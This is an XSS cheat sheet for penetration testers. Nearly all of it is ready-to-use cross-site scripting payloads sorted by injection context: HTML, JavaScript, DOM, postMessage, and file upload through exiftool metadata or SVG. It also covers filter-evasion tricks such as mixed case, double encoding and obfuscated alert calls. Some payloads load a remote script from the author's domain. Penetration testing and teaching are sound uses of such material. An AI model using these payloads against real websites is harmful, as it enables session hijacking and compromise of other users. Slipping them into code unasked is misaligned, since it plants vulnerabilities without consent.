xss cheat sheet

Introduction
This cheat sheet is meant to be used by bug hunters, penetration testers, security
analysts, web application security students and enthusiasts.
It’s about Cross-Site Scripting (XSS), the most widespread and common flaw found
in the World Wide Web.
There’s lot of work done in this field and it’s not the purpose of this book to cover
them all. What you will see here is XSS content created or curated by me. I’ve tried to
select what I think it’s the most useful info about that universe, most of the time using
material from my own blog which is dedicated to that very security flaw.
Keep in mind that you might need to adapt some of the info presented here to your
own scenario (like single to double quotes and vice-versa). Although I try to give you
directions about it, any non-imagined specific behavior from you target application
might influence the outcome.
A last tip: follow instructions strictly. If something is presented in an HTML fashion,
it’s because it’s meant to be used that way. If not, it’s probably javascript code that can
be used (respecting syntax) both in HTML and straight to existing js code. Unless told
otherwise.
I sincerely hope it becomes an easy-to-follow consulting material for most of your
XSS related needs. Enjoy!
Basics
HTML Context — Simple Tag Injection
Use when input lands inside an attribute’s value of an HTML tag or outside tag except
the ones described in next case.
<svg onload=alert(1)>
“><svg onload=alert(1)>
HTML Context — In Block Tag Injection
Use when input lands inside or between opening/closing of the following tags:
<title><style><script><textarea><noscript><pre><xmp> and <iframe> (</tag> is
accordingly).
</tag><svg onload=alert(1)>
“></tag><svg onload=alert(1)>
HTML Context — Source Injection
Use when input lands as a value of the following HTML tag attributes: href, src, data
or action (also formaction). For src in script tag use an external script call (URL) or
“data:,alert(1)”. 2nd payload below alerts out of target’s context for Webkit browsers.
javascript:alert(1)
data:text/html,<svg onload=alert(1)>
Javascript Context — Code Injection in Logical Block
Use 1st or 2nd payloads when input lands in a script block, inside a string delimited
value and inside a single logical block like function or conditional (if, else, etc). If
quote is escaped with a backslash, use 3rd payload.
‘}alert(1);{‘
‘}alert(1)%0A{‘
\’}alert(1);{//
Javascript Context — Tag Injection
Use when input lands anywhere in a script block.
</script><svg onload=alert(1)>
Advanced
Multi Reflection — Double Reflection (Single Input)
Use to take advantage of multiple reflections on same page.
‘onload=alert(1)><svg/1=’
‘>alert(1)</script><script/1=’
*/alert(1)</script><script>/*
Multi Reflection — Triple Reflection (Single Input)
Use to take advantage of multiple reflections on same page.
*/alert(1)”>’onload=”/*<svg/1=’
`-alert(1)”>’onload=”`<svg/1=’
*/</script>’>alert(1)/*<script/1=’
Multi Input Reflections (Double & Triple)
Use to take advantage of multiple input reflections on same page.
p=<svg/1=’&q=’onload=alert(1)>
p=<svg 1=’&q=’onload=’/*&r=*/alert(1)’>
File Upload Injection — Metadata
Use when metadata of uploaded file is reflected somewhere in target page. It uses
command-line exiftool and any metadata field can be set.
brute@logic:~$ exiftool -Artist=’”><svg onload=alert(1)>’ xss.jpeg
File Upload Injection — SVG File
Use to create a stored XSS on target when uploading image files. Save content below
as “xss.svg”.
<svg xmlns=”http://www.w3.org/2000/svg" onload=”alert(1)”/>
DOM Insert Injection
Use to test for XSS when injection gets inserted into DOM as valid markup instead of
being reflected in source code. It works for cases where script tag and other vectors
won’t work.
<img src=1 onerror=alert(1)>
<iframe src=javascript:alert(1)>
DOM Insert Injection — Resource Request
Use when javascript code of the page inserts into page the results of a request to an
URL controlled by attacker (injection).
data:text/html,<img src=1 onerror=alert(1)>
data:text/html,<iframe src=javascript:alert(1)>
Script Injection — No Closing
Use when there’s a closing script tag (</script>) somewhere in the code after
reflection.
<script src=data:,alert(1)>
<script src=//brutelogic.com.br/1.js>
Javascript postMessage() DOM Injection (with Iframe)
Use when there’s a “message” event listener like in
“window.addEventListener(‘message’, …)” in javascript code without a check for
origin. Target must be able to be framed (X-Frame Options header according to
context). Save as HTML file (or using data:text/html) providing TARGET_URL and
INJECTION (a XSS vector or payload).
<iframe src=TARGET_URL onload=”frames[0].postMessage(‘INJECTION’,’*’)”>
Filter
Bypass
Mixed Case XSS
Use to bypass case-sensitive filters.
<Svg OnLoad=alert(1)>
<Script>alert(1)</Script>
Unclosed Tags
Use in HTML injections to avoid filtering based in the presence of both lower than (<)
and greater than (>) signs. It requires a native greater than sign in source code after
input reflection.
<svg onload=alert(1)//
<svg onload=”alert(1)”
Uppercase XSS
Use when application reflects input in uppercase.
<SVG ONLOAD=alert(1)>
<SCRIPT SRC=//BRUTELOGIC.COM.BR/1></SCRIPT>
Double Encoded XSS
Use when application performs double decoding of input.
%253Csvg%2520o%256Enoad%253Dalert%25281%2529%253E
%2522%253E%253Csvg%2520o%256Enoad%253Dalert%25281%2529%253E
Alert without Parentheses (Strings Only)
Use in an HTML vector or javascript injection when parentheses are not allowed and
a simple alert box is enough.
alert`1`
Alert without Alphabetic Chars
Use when alphabetic characters are not allowed. Following is alert(1).
[][‘\146\151\154\164\145\162’][‘\143\157\156\163\164\162\165\143\164\157\162’]
(‘\141\154\145\162\164\50\61\51’)()
Alert Obfuscation
Use to trick several regular expression (regex) filters. It might be combined with
previous alternatives (above). The shortest option “top” can also be replaced by
“window”, “parent”, “self” or “this” depending on context.
(alert)(1)
a=alert,a(1)
[1].find(alert)
top[“al”+”ert”](1)
top[/al/.source+/ert/.source](1)
al\u0065rt(1)
top[‘al\145rt’](1)
top[8680439..toString(30)](1)
— brutelogic